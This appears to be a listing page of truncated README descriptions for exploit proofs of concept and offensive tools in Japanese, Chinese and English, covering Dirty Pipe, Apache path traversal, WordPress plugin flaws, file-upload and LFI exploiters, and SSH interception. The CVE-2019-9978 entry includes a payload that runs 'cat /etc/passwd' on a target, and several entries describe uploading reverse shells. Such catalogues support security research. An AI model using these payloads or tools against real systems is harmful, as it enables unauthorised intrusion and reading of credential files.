CVE-2022-0847-Docker

Dirty Pipe CVE-2022-0847: Dockerでのハンズオンエクスプロイトデモンストレーション このリポジトリは、「Dirty Pipe」権限昇格脆弱性 を安全に実演・分析するための、自己完結型の対話型Docker環境を提供します。セキュリティ専門家が、制御された環境で重要なカーネルレベルのエクスプロイトの仕組みを理解するための教育ツールとして設計されています。 1. 脆弱性の説明: Dirty Pipeとは何か？ Dirty...

cve-2021-41773

CVE-2021-41773 – Apache 路径遍历报告 摘要 Apache HTTP Server 2.4.49 版本中发现的漏洞，根据 Web 服务器配置，可通过路径遍历攻击暴露系统敏感文件 路径遍历：攻击者可通过包含 ../ 的路径访问 Web 根目录之外的文件 信息 漏洞名称 ：CVE-2021-41773 受影响版本 ：Apache HTTP Server 2.4.49 漏洞类型 ：路径遍历 官方补丁情况 ：已在 2.4.50 及以上版本修补 实验环境配置 基础镜像：httpd:2.4.49（DockerHub） 容器运行方式：Dockerfile +...

CVE-2019-16784-POC

CVE-2019-16784 POC これは、--onefile オプションに存在する Windows PyInstaller バージョン 3.6 未満の脆弱性に対する私のPOCです。攻撃者は、pyinstaller バイナリで使用される Python インタプリタ DLL がインポートする DLL をハイジャックすることで、コマンド実行や可能性として LPE を達成できます。脆弱性と悪用プロセスの簡単な説明を以下に示します。Alter Solutions が脆弱性を発見し、PagedOut 3 PDF の 55 ページ にその発見について執筆してくれたことに感謝します。 脆弱性...

fuxploider

fuxploider Fuxploider is an open source penetration testing tool that automates the process of detecting and exploiting file upload forms flaws. This tool is able to detect the file types allowed to be uploaded and is able to detect which technique will work best to upload web shells or any...

fuxploider

fuxploider Fuxploider は、ファイルアップロードフォームの欠陥の検出と悪用のプロセスを自動化するオープンソースのペネトレーションテスティングツールです。このツールは、アップロードが許可されているファイルタイプを検出し、Web サーバーに Web シェルや悪意のあるファイルをアップロードするためにどの手法が最も効果的かを判断できます。 スクリーンショット インストール 少なくとも Python 3.6 が必要です。 git clone https://github.com/almandin/fuxploider.git cd fuxploider pip3 instal...

winfsp

WinFsp · Windows ファイルシステムプロキシ WinFsp を使用すると、開発者は Windows カーネルプログラミングの知識がなくても、ユーザーモードプログラムとして独自のファイルシステム（つまり「Windows ドライブ」）を作成できます。これは Linux や他の UNIX 系コンピュータ向けの FUSE（ユーザー空間のファイルシステム）に似ています。 winfsp.dev...

CVE-2025-25163

CVE-2025-25163 Plugin A/B Image Optimizer = 3.3 - 認証済み（Subscriber+）任意ファイルダウンロード 説明 WordPress用プラグイン Plugin A/B Image Optimizer は、バージョン3.3までのすべてのバージョンにおいて、ディレクトリトラバーサルに対して脆弱です。これにより、Subscriberレベルのアクセス権限以上の認証済み攻撃者が、機密情報を含む可能性のあるサーバー上の任意のファイルの内容を読み取ることが可能になります。 詳細 タイプ : プラグイン スラッグ : images-optimizer...

46635.py

このリポジトリには README がありません。...

zip-shotgun

ZIP Shotgun ZIPファイルアップロード機能（およびZIPファイルの展開）の脆弱性（別名Zip Slip）をテストするためのユーティリティスクリプト。 このスクリプトのアイデアは、Silent Signal Techblog - Compressed File Upload And Command Execution の記事と OWASP - Test Upload of Malicious Files を基にしています。 Snyk.io には、この仕組みに関するレポートがあります: Zip Slip 脆弱性 と、さまざまな言語の脆弱なライブラリを含むGitHubリポジトリ:...

CVE-2026-3891

Pix for WooCommerce --command --timeout --useragent 交互式 Shell 利用目标并进入持久的交互式 Shell 会话，以运行多条命令。 py...

CVE-2025-5961

🚨 迁移、备份、暂存 – WPvivid Backup & Migration 📈 此漏洞影响拥有超过700,000+ 次安装 的插件 📝 CVE 详情 CVE: CVE-2025-5961 CVSS: 7.2（高） 发布时间: 2025年7月3日 🔍 描述 用于 WordPress 的 Migration, Backup, Staging – WPvivid Backup & Migration 插件因缺少对 wpvividuploadimportfiles 函数的文件类型验证，导致所有版本（包括 0.9.116）都存在 任意文件上传 漏洞。 这使得...

CVE-2022-21371

CVE-2022-21371 Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 ローカルファイルインクルージョン Exploit Title: Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 Local File Inclusion Date: 25/1/2022 Exploit Author: Jonah Tan @picar0jsu Vendor Homepage:...

CVE-2017-1000117

针对 VulApps 的 CVE-2017-1000117 PoC 仓库 Fork 自 joernchen/CVE-2017-1000117 git clone --recursive https://github.com/VulApps/CVE-2017-1000117.git 会将 id 的输出写入 /var/www/html 下的 vul 文件中。 更多信息见 VulApps...

CVE-2015-6967-EXPLOIT

CVE-2015-6967-EXPLOIT CVE-2015-6967 PoC Exploit このPythonスクリプトは、Nibbleblog （CVE-2015-6967）の脆弱性を悪用して、脆弱なターゲットにリバースシェルをアップロードします。スクリプトは、ターゲットURL、ユーザー資格情報、およびホストIP/ポートをユーザー入力として受け取り、その後、PHPリバースシェルをアップロードして脆弱性を悪用します。 免責事項 このスクリプトは教育目的のみを意図しています。違法行為に使用しないでください...

LFISuite

LFI Suite 什么是 LFI Suite？ LFI Suite 是一款完全自动化 的工具，能够使用多种不同的攻击方法扫描和利用本地文件包含漏洞，详见功能部分。 功能 支持 Windows、Linux 和 OS X 自动配置 自动更新 提供 8 种不同的本地文件包含攻击模式： /proc/self/environ php://filter php://input /proc/self/fd access log phpinfo data:// expect:// 提供第九种模式，称为自动攻击...

CVE-2024-4956

CVE-2024-4956 このリポジトリには、CVE-2024-4956 の悪用を自動化するPythonユーティリティが含まれており、入力ファイルからファイルパスを一括テストし、既存のファイルパス内容を分析用にディスクへ保存するプロセスを自動化することができます。脆弱性の詳細はこちらで確認できます。 使い方 usage: cve-2024-4956.py -h -f FILE -p PROXY -u URL --test -r RELATIVEPATH CVE-2024-4956 Path Traversal Exploit Script options: -h, --help sho...

ssh-mitm

SSH-MITM - ssh監査をシンプルに 認可されたセキュリティ監査のための対話型SSH傍受ツール。 セッションの傍受、ライブトラフィックの監視、コマンドの注入、ファイル転送の操作をすべてリアルタイムで実行できます。 !https://img.shields.io/mastodon/follow/109597663767801251?color=%236364FF&domain=https:...

ssh-mitm

SSH-MITM - ssh audits made simple An interactive SSH interception tool for authorized security audits. Intercept sessions, monitor live traffic, inject commands, and manipulate file transfers — all in real time. !Follow me on...

Fast-Google-Dorks-Scan

Fast Google Dorks Scan OSINTプロジェクトであり、その主なアイデアは、可能な限りすべてのGoogle dork検索の組み合わせを収集し、特定のWebサイトに関する情報（一般的な管理パネル、普及しているファイルタイプ、パストラバーサル）を見つけることです。100%自動化されています。 使用例: chmod +x FGDS.sh ./FGDS.sh hydrattack.com または bash ./FGDS.sh hydrattack.com プロキシ使用時 bash ./FGDS.sh hydrattack.com 192.168.1.1 8080...

CVE-2019-9978

CVE-2019-9978 CVE-2019-9978 - Social WarFare プラグイン system'cat /etc/passwd' payload.txt というファイル名で保存し、サーバーにアップロードします。URI は https://yoursite.com/payload.txt のようになります。最後に、--target と --payload-uri オプションを指定します: $ python cve-2019-9978.py --target http://vulntarget.com \ --payload-uri...